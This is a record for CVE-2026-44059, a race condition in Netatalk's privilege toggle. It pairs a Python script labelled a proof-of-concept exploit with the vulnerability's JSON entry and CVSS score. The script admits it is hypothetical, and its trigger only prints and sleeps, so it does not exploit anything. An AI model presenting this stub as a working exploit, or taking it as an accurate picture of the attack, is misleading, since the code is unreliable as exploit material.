CVE-2026-44059

import threading import time import os # Proof of Concept for Race Condition in Privilege Toggle # Target: Netatalk (Hypothetical scenario for CVE-2026-44059) # This script attempts to exploit a TOCTOU race condition. TARGET_RESOURCE = "/var/netatalk/sensitive_config" def attacker_thread(): """ Simulates an attacker attempting to access a resource during the privilege toggle window. """ print("[*] Attacker thread started...") while True: try: # Attempt to read/write the protected resource if os.path.exists(TARGET_RESOURCE): with open(TARGET_RESOURCE, 'r') as f: data = f.read() print(f"[+] Successfully read data: {data[:20]}...") break except PermissionError: # Wait for the race window time.sleep(0.001) except Exception as e: print(f"[-] Error: {e}") break def trigger_privilege_toggle(): """ Simulates the legitimate action that triggers the privilege toggle. """ print("[*] Triggering privilege toggle mechanism...") # In a real scenario, this would interact with the Netatalk service # e.g., sending a specific AFP command that causes a root uid swap. for i in range(100): print(f"[*] Sending trigger packet {i}...") time.sleep(0.005) # Adjust timing to maximize race window hit if __name__ == "__main__": print("[*] CVE-2026-44059 PoC - Race Condition Exploit") t1 = threading.Thread(target=attacker_thread) t2 = threading.Thread(target=trigger_privilege_toggle) t1.start() t2.start() t1.join() t2.join()

{"cve": {"id": "CVE-2026-44059", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:21.467", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition in the privilege toggle mechanism in Netatalk 2.2.5 through 4.4.2 allows a local attacker to obtain limited information, modify limited data, or cause a minor service disruption."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 3.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44059", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}